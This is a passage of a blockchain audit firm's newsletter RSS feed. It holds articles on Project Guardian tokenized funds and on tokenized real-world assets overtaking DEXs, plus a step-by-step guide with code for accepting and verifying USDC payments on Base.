mathematically match tokens burned on the source.</p><h2 id="h-the-takeaway" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">The takeaway</h2><p>The fixes are unglamorous. Verify the message, not just the messenger. Enforce the invariant that funds out must equal funds in. Bind every proof to a single request. Rate-limit releases and cap liquidity so a validation gap becomes a contained incident instead of a headline. Never concentrate verification in one node or one signer.</p><p>None of this is novel. All of it is repeatedly skipped. That gap between what is known and what is shipped is the entire attack surface, and it is where we focus every bridge and cross-chain review we run.</p><p>If you operate a bridge, a messaging integration, or any contract that acts on instructions from another chain, the question is not whether your verification logic will be tested. It is whether you tested it first.</p><p><em>Ancilar runs smart contract and cross-chain security audits across Ethereum, Solana, Arbitrum, Base, and 15+ other networks. If your protocol moves value between chains, talk to our audit team before an attacker does.</em></p>]]></content:encoded>
            <author>ancilar@newsletter.paragraph.com (Ancilar)</author>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/23d29770c1bf246ffe790804376b6873c204fbf8e1bedd6700af3efd4b16eea7.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Project Guardian Explained: Building Institutional-Grade Tokenized Funds]]></title>
            <link>https://paragraph.com/@ancilar/project-guardian-explained-building-institutional-grade-tokenized-funds</link>
            <guid>PdBpWx34EMWQnVTw3AeV</guid>
            <pubDate>Wed, 01 Jul 2026 05:15:43 GMT</pubDate>
            <description><![CDATA[Project Guardian's blueprint for institutional tokenized funds: permissioned tokens, on-chain compliance, custody, and audit-ready smart contracts.]]></description>
            <content:encoded><![CDATA[<p>Tokenized funds spent years stuck in the demo phase. A press release, a single proof of concept, a fund that existed mostly to prove it could. That era is ending. Real money market funds and bond funds are now being issued, subscribed to, and redeemed on-chain by names like UBS Asset Management, State Street, and J.P. Morgan, and the rules they are following did not appear by accident. Most of them trace back to one place: Project Guardian.</p><p>If you are building or evaluating a tokenized fund, Project Guardian is the closest thing the industry has to a blueprint. This is what it is, why it matters, and how to use its work to build a fund that institutions can actually trust.</p><h2 id="h-what-project-guardian-actually-is" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What Project Guardian actually is</h2><p>Project Guardian is an initiative led by the Monetary Authority of Singapore (MAS), launched in 2022 to test how tokenization and distributed ledgers could work in regulated finance. What separates it from the usual innovation theater is scale and seriousness. It now spans more than forty financial institutions, and its policymaker group includes the UK Financial Conduct Authority, Germany's Bundesbank, the IMF, and the World Bank.</p><p>More importantly, it has produced things you can build against. Two industry frameworks anchor the work: the Guardian Fixed Income Framework for tokenized bonds, and the Guardian Funds Framework for tokenized funds. A Guardian Wholesale Network was created to move this from pilots toward commercial use.</p><p>The pilots are concrete. UBS Asset Management, State Street, and InvestaX issued a blockchain-native fund using a Singapore Variable Capital Company structure across both public and private networks. J.P. Morgan's Kinexys and Apollo built a working system for constructing and rebalancing portfolios that mix traditional and alternative tokenized funds across different chains. These are not slideware. They are operating models other teams can copy.</p><h2 id="h-the-two-ideas-that-make-a-fund-institutional-grade" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">The two ideas that make a fund institutional-grade</h2><p>Strip away the jargon and the Guardian Funds Framework rests on two practical ideas.</p><p><strong>Permissioned asset on permissionless rails.</strong> Also called "private token, public network," this is the operating model most institutional funds are converging on. The fund token lives on a public blockchain, so you get transparency, shared infrastructure, and no single point of control. But the token itself is permissioned: only wallet addresses that have passed know-your-customer and anti-money-laundering checks can hold or receive it. You get the openness of public networks without handing your fund to anonymous holders.</p><p><strong>Compliance enforced in code, not in hope.</strong> In a Guardian-style fund, the rules are not a policy document someone is supposed to follow. They are smart contract logic. Permissioned token standards such as ERC-3643 let the token contract itself reject any transfer to a wallet that is not whitelisted, enforce holding limits, and freeze assets if required by a regulator. Compliance becomes a property of the asset rather than a manual checkpoint.</p><h2 id="h-how-to-build-one-step-by-step" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">How to build one, step by step</h2><p>The MAS "Operationalising Tokenised Funds" work lays out a sequence that mirrors how the successful pilots were built. Follow it in order, because each layer depends on the one before it.</p><p><strong>1. Start with the legal wrapper, not the blockchain.</strong> A tokenized fund is still a fund. Decide the legal structure first, often a Variable Capital Company in Singapore, and make sure investors retain clear legal rights to the underlying assets, frequently through a nominee arrangement. The token represents an interest in a regulated fund. It does not replace the fund.</p><p><strong>2. Choose your operating model.</strong> Decide where the token lives and who can hold it. For most institutional products this is the permissioned-asset-on-public-rails model above. Map exactly how a wallet becomes eligible, how it loses eligibility, and what happens to tokens in either case.</p><p><strong>3. Build compliance into the token.</strong> Use a permissioned token standard so the contract enforces your rules automatically. Every wallet is verified and whitelisted after KYC and AML checks before it can ever receive a token. Transfer restrictions, investor caps, and freeze controls all live on-chain.</p><p><strong>4. Solve settlement and custody.</strong> Project Guardian's fixed income work singled out two enablers as the hardest and most important: on-chain settlement mechanisms and robust custody. Decide how cash settles against the token, ideally atomically so the asset and the payment move together or not at all, and decide who custodies the tokens and the keys. Get these wrong and nothing else matters.</p><p><strong>5. Define governance and accountability.</strong> The pilots split responsibilities deliberately: one team owns fund origination, another owns compliance, custody, and market-making, and a digital assets team owns the platform, tokenization, and smart contracts. Risk, compliance, and operations review the structures and monitor trading, with ongoing dialogue with the regulator. Clear ownership of each layer is what makes the whole thing auditable.</p><h2 id="h-security-and-compliance-you-cannot-skip" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Security and compliance you cannot skip</h2><p>Institutional money raises the bar from "it works" to "it cannot fail quietly."</p><p>The smart contracts are now your fund's rulebook, so a bug is a compliance breach, not just a glitch. The transfer-restriction and whitelist logic, the freeze and recovery controls, and the subscription and redemption flows all need independent review before a single real dollar enters. Custody design deserves the same scrutiny, because keys that control fund tokens are as sensitive as the assets themselves. And because liquidity fragments when standards diverge, your interoperability and cross-chain settlement assumptions should be tested, not assumed.</p><p>This is the stage where a professional smart contract audit earns its keep. If your fund logic enforces who can hold the asset and how it settles, that code should be reviewed by specialists before launch. You can <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ancilar.com/services/smart-contract-audit">explore Ancilar's smart contract audit services here</a>.</p><h2 id="h-conclusion" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Conclusion</h2><p>Project Guardian matters because it turned tokenized funds from a concept into a repeatable model with real institutions behind it. The lesson for builders is clear and slightly unglamorous: the hard part is not minting a token, it is the legal wrapper, the permissioned design, the settlement and custody, and the governance that surround it. Build those first, enforce your rules in code, and have that code reviewed. Do that, and you are not chasing the institutional tokenization wave. You are building the kind of fund it is actually made of.</p>]]></content:encoded>
            <author>ancilar@newsletter.paragraph.com (Ancilar)</author>
            <category>rwa</category>
            <category>tokenization</category>
            <category>web3</category>
            <category>blockchain</category>
            <category>onchain</category>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/0281dcce38abcdb4aff676c2db6e6dc5f29bcf9b1fb20d7d827c91e70149922c.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Tokenized Real-World Assets Just Passed Every DEX On-Chain. The TradFi Takeover Isn't Coming, It's Here]]></title>
            <link>https://paragraph.com/@ancilar/tokenized-real-world-assets-just-passed-every-dex-on-chain-the-tradfi-takeover-isnt-coming-its-here-1</link>
            <guid>RbRemHj6ClXdss4MlKFx</guid>
            <pubDate>Wed, 24 Jun 2026 11:45:01 GMT</pubDate>
            <description><![CDATA[RWA protocols overtook decentralized exchanges in DeFi value locked. But the headline hides the more important story for anyone building in this space.]]></description>
            <content:encoded><![CDATA[<p>For years, "real-world asset tokenization" was the thing every deck promised and no balance sheet delivered. That era is over. Tokenized real-world assets, RWAs, have overtaken decentralized exchanges to become a top-five category in decentralized finance by total value locked. Translated out of jargon: more money now sits in tokenized Treasuries, private credit, and gold than in many of the platforms people use to swap tokens.</p><p>The institutions stopped experimenting and started allocating. BlackRock, Franklin Templeton, and JPMorgan are all on-chain. The TradFi takeover everyone kept predicting is not a future event. It already happened. But if you stop reading at the headline, you will draw exactly the wrong conclusion about what to build next.</p><h2 id="h-what-actually-happened" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What Actually Happened</h2><p>The numbers are real and they are big. RWA protocols now hold roughly $17 billion in total value locked, enough to displace decentralized exchanges from the top five DeFi categories for the first time. Step back to the broader market, and tokenized real-world assets sit near $30 billion excluding stablecoins, up close to fivefold in three years.</p><p>Tokenized US Treasuries lead the charge, making up close to half the market. Private credit is the other heavyweight, with tokenized gold close behind as a 24/7 collateral layer. These are not speculative meme assets. They are the boring, yield-bearing instruments that institutions actually hold, now wrapped as tokens that can move around the clock.</p><p>So far, this looks like a clean victory for open finance. Here is where it gets interesting.</p><h2 id="h-the-catch-nobody-puts-in-the-headline" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">The Catch Nobody Puts In The Headline</h2><p>RWAs "passed" DEXs by value parked, not by activity. By trading volume, decentralized exchanges are still in a different league, with weekly DEX volume running around $86 billion. Tokenization won the balance-sheet contest, not the order-flow contest.</p><p>More importantly, most of that tokenized value is not doing anything in open DeFi. Of the roughly $30 billion in tokenized assets, only about $2.5 billion is actually composable, meaning deposited or pooled inside open protocols where it can be lent, borrowed against, or combined with other assets. The other 90-plus percent sits in permissioned rails.</p><p>BlackRock's BUIDL fund is the clearest example. It runs on a public blockchain, yet it is gated by an allowlist, and an on-chain transfer carries no legal effect until a transfer agent reconciles it against the official off-chain record. The blockchain is the rail. The control still lives off-chain.</p><p>The honest picture looks like this:</p><ul><li><p>TradFi is moving assets on-chain at real scale. True.</p></li><li><p>Those assets are flowing into open, composable DeFi. Mostly not yet.</p></li></ul><p>The value arrived. The composability did not follow it.</p><h2 id="h-why-the-gap-exists-in-code" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Why The Gap Exists, In Code</h2><p>The friction is not philosophical. It is written directly into the smart contracts. A compliant RWA token usually gates every transfer behind an allowlist check, which is exactly what keeps it from dropping cleanly into a permissionless liquidity pool.</p><pre data-type="codeBlock" text="// Permissioned RWA token: every transfer checks an allowlist
function transfer(address to, uint256 amount) public override returns (bool) {
    require(allowlist[msg.sender], &quot;Sender not approved&quot;);
    require(allowlist[to], &quot;Recipient not approved&quot;);
    return super.transfer(to, amount);
}"><code><span class="hljs-comment">// Permissioned RWA token: every transfer checks an allowlist</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transfer</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
    <span class="hljs-built_in">require</span>(allowlist[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>], <span class="hljs-string">"Sender not approved"</span>);
    <span class="hljs-built_in">require</span>(allowlist[to], <span class="hljs-string">"Recipient not approved"</span>);
    <span class="hljs-keyword">return</span> <span class="hljs-built_in">super</span>.<span class="hljs-built_in">transfer</span>(to, amount);
}</code></pre><p>A standard DeFi pool contract is not on that allowlist, so the transfer reverts. The asset is "on-chain" but effectively walled off from the ecosystem that makes crypto assets useful. Bridging that gap means designing tokens where compliance and composability coexist, for example by approving vetted protocol contracts or routing through compliant vault wrappers, rather than treating them as opposing goals.</p><h2 id="h-where-it-is-already-working" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Where It Is Already Working</h2><p>The encouraging part is that composability-first designs are proving the gap is closable, not permanent. A handful of compliant yield tokens have crossed the billion-dollar mark while staying usable inside DeFi, and lending markets like Morpho and Aave's institutional offering have each pulled in hundreds of millions in RWA deposits. The pattern is consistent: the projects winning real liquidity are the ones that solved compliance and composability together, in the architecture, from day one.</p><h2 id="h-what-this-means-if-you-are-building" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What This Means If You Are Building</h2><p>Strip away the noise and the lesson is sharp. The winners of this cycle will not be whoever tokenizes the most assets. Issuance is becoming a commodity. The winners will be whoever closes the gap between compliant issuance and open liquidity.</p><p>That is an engineering and security problem long before it is a finance problem. It means token contracts designed for selective composability, audited transfer logic that cannot be gamed, and infrastructure that satisfies a regulator and a liquidity pool at the same time. Get the contract design wrong and you either fail compliance or fail the market. Get it right and you own the layer everyone else is still struggling to reach.</p><p>The assets are on-chain. The next race is making them actually move.</p><hr><p><em>Building tokenized assets that have to be both compliant and composable? The hard part is the contract design, and that is where exploits and compliance failures both hide. Our team audits and hardens RWA infrastructure for exactly this. </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out underline underline underline-offset-2 decoration-1 decoration-current/40 hover:decoration-current focus:decoration-current" href="https://ancilar.com/services/smart-contract-audit"><em>See how we approach smart contract audits</em></a><em>.</em></p>]]></content:encoded>
            <author>ancilar@newsletter.paragraph.com (Ancilar)</author>
            <category>rwa</category>
            <category>tokenization</category>
            <category>onchain</category>
            <category>web3</category>
            <category>blockchain</category>
            <category>dex</category>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/c19cedcd102fcad7da12f25ac9e1e4cd09ba101c7902a89c6a3979e9f3a51a62.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[How to Add Stablecoin Payments to Your App: A Step-by-Step Guide]]></title>
            <link>https://paragraph.com/@ancilar/tokenized-real-world-assets-just-passed-every-dex-on-chain-the-tradfi-takeover-isnt-coming-its-here</link>
            <guid>bkJpUEAmw0FQG4xMwtd9</guid>
            <pubDate>Wed, 17 Jun 2026 13:36:00 GMT</pubDate>
            <description><![CDATA[Add stablecoin payments to your app step by step, with real code, backend verification, and the security checks you need before going live.
]]></description>
            <content:encoded><![CDATA[<p>Card payments fail more often than founders realize. A customer in Lagos hits a cross-border decline, a subscriber loses a renewal to a bank limit, and every sale carries the quiet risk of a chargeback weeks later. Stablecoins offer a different rail: a payment in USDC settles in seconds, costs a fraction of a card fee, and once confirmed, cannot be reversed behind your back. That finality is exactly why the integration has to be done carefully. Here is how to accept a stablecoin payment and, more importantly, confirm it safely on your own backend.</p><h2 id="h-pick-your-stablecoin-and-chain" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Pick your stablecoin and chain</h2><p>Start with <strong>USDC</strong> on <strong>Base</strong>. USDC has the widest wallet support, and Base gives you tiny fees, full Ethereum compatibility, and native USDC rather than a bridged version. A few values you should hard-code, not guess:</p><ul><li><p>USDC (Base mainnet): <code>0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913</code></p></li><li><p>USDC (Base Sepolia testnet, no real value): <code>0x036CbD53842c5426634e7929541eC2318f3dCF7e</code></p></li><li><p>Base chain ID: <code>8453</code> · USDC decimals: <code>6</code></p></li></ul><p>There is also an older bridged token (USDbC) at a different address. Build on the native one, and always confirm the address against Circle's official docs. Sending to the wrong address is the costliest mistake in this space.</p><h2 id="h-step-1-let-the-customer-pay" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Step 1: Let the customer pay</h2><p>A stablecoin payment is just a token transfer from the customer's wallet to yours. The most common bug here is decimals: USDC uses 6, not the 18 many tokens use, so $10 is <code>10000000</code>, not <code>10</code>. The <code>parseUnits</code> helper handles that if you give it the right number.</p><p>tsx</p><pre data-type="codeBlock" text="import { parseUnits } from 'viem'
import { useWriteContract } from 'wagmi'

const USDC_BASE = '0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913'
const MERCHANT = '0xYourMerchantWalletAddress'

const erc20Abi = [{
  name: 'transfer', type: 'function', stateMutability: 'nonpayable',
  inputs: [{ name: 'to', type: 'address' }, { name: 'amount', type: 'uint256' }],
  outputs: [{ name: '', type: 'bool' }],
}] as const

function PayButton({ usdAmount }: { usdAmount: string }) {
  const { writeContract, isPending } = useWriteContract()
  const pay = () =&gt; writeContract({
    address: USDC_BASE, abi: erc20Abi, functionName: 'transfer',
    args: [MERCHANT, parseUnits(usdAmount, 6)], // 6 decimals: &quot;10&quot; -&gt; 10000000
  })
  return &lt;button onClick={pay} disabled={isPending}&gt;Pay {usdAmount} USDC&lt;/button&gt;
}"><code><span class="hljs-keyword">import</span> { <span class="hljs-title">parseUnits</span> } <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">'viem'</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> { <span class="hljs-title">useWriteContract</span> } <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">'wagmi'</span>

<span class="hljs-title">const</span> <span class="hljs-title">USDC_BASE</span> <span class="hljs-operator">=</span> <span class="hljs-string">'0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913'</span>
<span class="hljs-title">const</span> <span class="hljs-title">MERCHANT</span> <span class="hljs-operator">=</span> <span class="hljs-string">'0xYourMerchantWalletAddress'</span>

<span class="hljs-title">const</span> <span class="hljs-title">erc20Abi</span> <span class="hljs-operator">=</span> [{
  <span class="hljs-title">name</span>: <span class="hljs-string">'transfer'</span>, <span class="hljs-title"><span class="hljs-keyword">type</span></span>: <span class="hljs-string">'function'</span>, <span class="hljs-title">stateMutability</span>: <span class="hljs-string">'nonpayable'</span>,
  <span class="hljs-title">inputs</span>: [{ <span class="hljs-title">name</span>: <span class="hljs-string">'to'</span>, <span class="hljs-title"><span class="hljs-keyword">type</span></span>: <span class="hljs-string">'address'</span> }, { <span class="hljs-title">name</span>: <span class="hljs-string">'amount'</span>, <span class="hljs-title"><span class="hljs-keyword">type</span></span>: <span class="hljs-string">'uint256'</span> }],
  <span class="hljs-title">outputs</span>: [{ <span class="hljs-title">name</span>: <span class="hljs-string">''</span>, <span class="hljs-title"><span class="hljs-keyword">type</span></span>: <span class="hljs-string">'bool'</span> }],
}] <span class="hljs-title"><span class="hljs-keyword">as</span></span> <span class="hljs-title">const</span>

<span class="hljs-title"><span class="hljs-keyword">function</span></span> <span class="hljs-title">PayButton</span>({ <span class="hljs-title">usdAmount</span> }: { <span class="hljs-title">usdAmount</span>: <span class="hljs-title"><span class="hljs-keyword">string</span></span> }) {
  <span class="hljs-title">const</span> { <span class="hljs-title">writeContract</span>, <span class="hljs-title">isPending</span> } <span class="hljs-operator">=</span> <span class="hljs-title">useWriteContract</span>()
  <span class="hljs-title">const</span> <span class="hljs-title">pay</span> <span class="hljs-operator">=</span> () <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> <span class="hljs-title">writeContract</span>({
    <span class="hljs-title"><span class="hljs-keyword">address</span></span>: <span class="hljs-title">USDC_BASE</span>, <span class="hljs-title"><span class="hljs-built_in">abi</span></span>: <span class="hljs-title">erc20Abi</span>, <span class="hljs-title">functionName</span>: <span class="hljs-string">'transfer'</span>,
    <span class="hljs-title">args</span>: [<span class="hljs-title">MERCHANT</span>, <span class="hljs-title">parseUnits</span>(<span class="hljs-title">usdAmount</span>, 6)], <span class="hljs-comment">// 6 decimals: "10" -&gt; 10000000</span>
  })
  <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-operator">&lt;</span><span class="hljs-title">button</span> <span class="hljs-title">onClick</span><span class="hljs-operator">=</span>{<span class="hljs-title">pay</span>} <span class="hljs-title">disabled</span><span class="hljs-operator">=</span>{<span class="hljs-title">isPending</span>}<span class="hljs-operator">&gt;</span><span class="hljs-title">Pay</span> {<span class="hljs-title">usdAmount</span>} <span class="hljs-title">USDC</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">/</span><span class="hljs-title">button</span><span class="hljs-operator">&gt;</span>
}</code></pre><p>This gives you a transaction hash. That hash is not proof of payment. It means a transaction was broadcast, not that it succeeded, sent the right amount, or went to the right address. You verify all of that on the server.</p><h2 id="h-step-2-verify-on-your-backend" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Step 2: Verify on your backend</h2><p>Never mark an order paid based on what the browser says. Your backend reads the chain and decides for itself. It checks four things: did the transaction succeed, is it confirmed enough to be permanent, did it move the right amount of the right token to your wallet, and have you already credited it.</p><p>ts</p><pre data-type="codeBlock" text="import { createPublicClient, http, parseUnits, getAddress } from 'viem'
import { base } from 'viem/chains'

const client = createPublicClient({ chain: base, transport: http(process.env.RPC_URL) })
const USDC = getAddress('0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913')
const MERCHANT = getAddress('0xYourMerchantWalletAddress')
const TRANSFER = '0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'

async function verifyPayment(txHash: `0x${string}`, expectedUsd: string) {
  const receipt = await client.getTransactionReceipt({ hash: txHash })
  if (receipt.status !== 'success') return false                       // 1. succeeded
  const current = await client.getBlockNumber()
  if (current - receipt.blockNumber &lt; 5n) return false                 // 2. confirmed

  const expected = parseUnits(expectedUsd, 6)
  const paid = receipt.logs.find((log) =&gt;
    getAddress(log.address) === USDC &amp;&amp;                                // right token
    log.topics[0] === TRANSFER &amp;&amp;
    getAddress('0x' + log.topics[2]!.slice(26)) === MERCHANT &amp;&amp;        // right recipient
    BigInt(log.data) === expected)                                     // 3. exact amount
  if (!paid) return false

  if (await alreadyProcessed(txHash)) return false                     // 4. no double credit
  await markProcessed(txHash)
  return true
}"><code><span class="hljs-keyword">import</span> { <span class="hljs-title">createPublicClient</span>, <span class="hljs-title">http</span>, <span class="hljs-title">parseUnits</span>, <span class="hljs-title">getAddress</span> } <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">'viem'</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> { <span class="hljs-title">base</span> } <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">'viem/chains'</span>

<span class="hljs-title">const</span> <span class="hljs-title">client</span> <span class="hljs-operator">=</span> <span class="hljs-title">createPublicClient</span>({ <span class="hljs-title">chain</span>: <span class="hljs-title">base</span>, <span class="hljs-title">transport</span>: <span class="hljs-title">http</span>(<span class="hljs-title">process</span>.<span class="hljs-title">env</span>.<span class="hljs-title">RPC_URL</span>) })
<span class="hljs-title">const</span> <span class="hljs-title">USDC</span> <span class="hljs-operator">=</span> <span class="hljs-title">getAddress</span>(<span class="hljs-string">'0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913'</span>)
<span class="hljs-title">const</span> <span class="hljs-title">MERCHANT</span> <span class="hljs-operator">=</span> <span class="hljs-title">getAddress</span>(<span class="hljs-string">'0xYourMerchantWalletAddress'</span>)
<span class="hljs-title">const</span> <span class="hljs-title">TRANSFER</span> <span class="hljs-operator">=</span> <span class="hljs-string">'0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'</span>

<span class="hljs-title">async</span> <span class="hljs-title"><span class="hljs-keyword">function</span></span> <span class="hljs-title">verifyPayment</span>(<span class="hljs-title">txHash</span>: `0<span class="hljs-title">x$</span>{<span class="hljs-title"><span class="hljs-keyword">string</span></span>}`, <span class="hljs-title">expectedUsd</span>: <span class="hljs-title"><span class="hljs-keyword">string</span></span>) {
  <span class="hljs-title">const</span> <span class="hljs-title">receipt</span> <span class="hljs-operator">=</span> <span class="hljs-title">await</span> <span class="hljs-title">client</span>.<span class="hljs-title">getTransactionReceipt</span>({ <span class="hljs-title">hash</span>: <span class="hljs-title">txHash</span> })
  <span class="hljs-title"><span class="hljs-keyword">if</span></span> (<span class="hljs-title">receipt</span>.<span class="hljs-title">status</span> <span class="hljs-operator">!</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-string">'success'</span>) <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title"><span class="hljs-literal">false</span></span>                       <span class="hljs-comment">// 1. succeeded</span>
  <span class="hljs-title">const</span> <span class="hljs-title">current</span> <span class="hljs-operator">=</span> <span class="hljs-title">await</span> <span class="hljs-title">client</span>.<span class="hljs-title">getBlockNumber</span>()
  <span class="hljs-title"><span class="hljs-keyword">if</span></span> (<span class="hljs-title">current</span> <span class="hljs-operator">-</span> <span class="hljs-title">receipt</span>.<span class="hljs-title">blockNumber</span> <span class="hljs-operator">&lt;</span> 5<span class="hljs-title">n</span>) <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title"><span class="hljs-literal">false</span></span>                 <span class="hljs-comment">// 2. confirmed</span>

  <span class="hljs-title">const</span> <span class="hljs-title">expected</span> <span class="hljs-operator">=</span> <span class="hljs-title">parseUnits</span>(<span class="hljs-title">expectedUsd</span>, 6)
  <span class="hljs-title">const</span> <span class="hljs-title">paid</span> <span class="hljs-operator">=</span> <span class="hljs-title">receipt</span>.<span class="hljs-title">logs</span>.<span class="hljs-title">find</span>((<span class="hljs-title">log</span>) <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span>
    <span class="hljs-title">getAddress</span>(<span class="hljs-title">log</span>.<span class="hljs-title"><span class="hljs-keyword">address</span></span>) <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-title">USDC</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>                                <span class="hljs-comment">// right token</span>
    <span class="hljs-title">log</span>.<span class="hljs-title">topics</span>[0] <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-title">TRANSFER</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
    <span class="hljs-title">getAddress</span>(<span class="hljs-string">'0x'</span> <span class="hljs-operator">+</span> <span class="hljs-title">log</span>.<span class="hljs-title">topics</span>[2]<span class="hljs-operator">!</span>.<span class="hljs-title">slice</span>(26)) <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-title">MERCHANT</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>        <span class="hljs-comment">// right recipient</span>
    <span class="hljs-title">BigInt</span>(<span class="hljs-title">log</span>.<span class="hljs-title">data</span>) <span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-title">expected</span>)                                     <span class="hljs-comment">// 3. exact amount</span>
  <span class="hljs-title"><span class="hljs-keyword">if</span></span> (<span class="hljs-operator">!</span><span class="hljs-title">paid</span>) <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title"><span class="hljs-literal">false</span></span>

  <span class="hljs-title"><span class="hljs-keyword">if</span></span> (<span class="hljs-title">await</span> <span class="hljs-title">alreadyProcessed</span>(<span class="hljs-title">txHash</span>)) <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title"><span class="hljs-literal">false</span></span>                     <span class="hljs-comment">// 4. no double credit</span>
  <span class="hljs-title">await</span> <span class="hljs-title">markProcessed</span>(<span class="hljs-title">txHash</span>)
  <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title"><span class="hljs-literal">true</span></span>
}</code></pre><p>This function trusts nothing it cannot read from the chain. A transaction that succeeds but sends the wrong token, the right token to the wrong place, or one cent short, is rejected.</p><h2 id="h-step-3-react" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Step 3: React</h2><p>Once verification passes, the rest is ordinary product work: update the order, send the receipt, unlock the feature. Stablecoins have no automatic recurring pull, so subscriptions are a re-prompt at renewal, which also ends silent failed renewals.</p><h2 id="h-security-considerations" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Security considerations</h2><ul><li><p><strong>Verify on the server, never the client.</strong> The browser is a suggestion, not a source of truth.</p></li><li><p><strong>Pin the token address and chain ID.</strong> Reject anything else, so nobody pays in a lookalike token or on the wrong network.</p></li><li><p><strong>Wait for confirmations.</strong> A fresh block can be reorganized away and erase a payment you already credited.</p></li><li><p><strong>Match amounts as integers.</strong> Compare in the 6-decimal smallest unit, never floating-point dollars.</p></li><li><p><strong>Be idempotent.</strong> Record processed transaction hashes so a webhook and a poll firing together cannot credit twice.</p></li><li><p><strong>Plan refunds upfront.</strong> There is no auto-reversal; a refund is a new transaction on your terms.</p></li><li><p><strong>Protect keys.</strong> Receiving needs only a public address; anything that signs belongs in a secured backend.</p></li></ul><p>If real money will flow through this code, have it reviewed before you point it at mainnet. An irreversible bug costs far more than a review.</p><h2 id="h-conclusion" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Conclusion</h2><p>It comes down to three steps: let the customer send the tokens, verify the payment yourself on the server, and react only once it is confirmed. The code is not the hard part. The discipline is, because irreversible money rewards careful verification. Build it on Base Sepolia first, run every failure case, then accept your first real dollar.</p>]]></content:encoded>
            <author>ancilar@newsletter.paragraph.com (Ancilar)</author>
            <category>stablecoins</category>
            <category>payments</category>
            <category>wallets</category>
            <category>agents</category>
            <category>ai</category>
            <category>web3</category>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/77198ef5b3401d194e8a3de5b515525ea9b1a9f24e2fb2ffcbd3cfa5ef7cdf6e.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[How developers use LangChain, Coinbase Developer Platform, and specialized SDKs for on-chain actions]]></title>
            <link>https://paragraph.com/@ancilar/how-developers-use-langchain-coinbase-developer-platform-and-specialized-sdks-for-on-chain-actions</link>
            <guid>YoF16CV1H3vAeEPJQZvD</guid>
            <pubDate>Mon, 08 Jun 2026 13:30:11 GMT</pubDate>
            <description><![CDATA[Build production-ready on-chain AI agents with LangChain, LangGraph, Coinbase AgentKit, secure wallets, x402 payments, and specialized Web3 SDKs.]]></description>
